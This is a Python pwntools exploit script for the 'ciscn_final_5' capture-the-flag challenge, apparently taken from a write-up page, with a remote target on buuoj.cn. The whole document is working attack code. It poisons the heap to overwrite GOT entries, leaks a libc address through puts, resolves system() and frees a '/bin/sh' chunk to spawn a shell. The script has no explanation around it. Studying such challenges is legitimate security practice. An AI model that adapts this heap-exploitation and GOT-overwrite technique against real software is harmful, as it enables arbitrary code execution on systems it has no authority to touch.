1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| from pwn import *
sh = remote('node3.buuoj.cn',29906) elf = ELF('./ciscn_final_5') libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so') alarm_s = libc.sym['alarm'] alarm_got = elf.got['alarm'] free_got = elf.got['free'] puts_plt = elf.plt['puts']
def add(index,size,content): sh.sendlineafter('your choice:','1') sh.sendlineafter('index:',str(index)) sh.sendlineafter('size:',str(size)) sh.sendafter('content:',content)
def delete(index): sh.sendlineafter('your choice:','2') sh.sendlineafter('index:',str(index))
def edit(index,content): sh.sendlineafter('your choice:','3') sh.sendlineafter('index:',str(index)) sh.sendafter('content:',content)
add(0x10,0x10,p64(0) + p64(0x51))
delete(0)
add(1,0x10,'a'*0x10)
add(2,0x30,'b'*0x30)
delete(1)
add(0,0x40,'b'*0x10 + p64(alarm_got)) add(3,0x10,'c'*0x10)
add(4,0x10,'a')
delete(2)
edit(0,'b'*0x30 + p64(free_got)) add(5,0x30,'/bin/sh\x00')
add(6,0x30,p64(puts_plt))
delete(4) sh.recv(1) alarm_addr = (u64(sh.recv(6).ljust(8,'\x00')) & 0xFFFFFFFFFFFFFF00) + (alarm_s & 0xFF) libc_base = alarm_addr - alarm_s system_addr = libc_base + libc.sym['system'] print 'libc_base=',hex(libc_base) print 'system_addr=',hex(system_addr)
edit(14,p64(0) + p64(system_addr))
delete(5)
|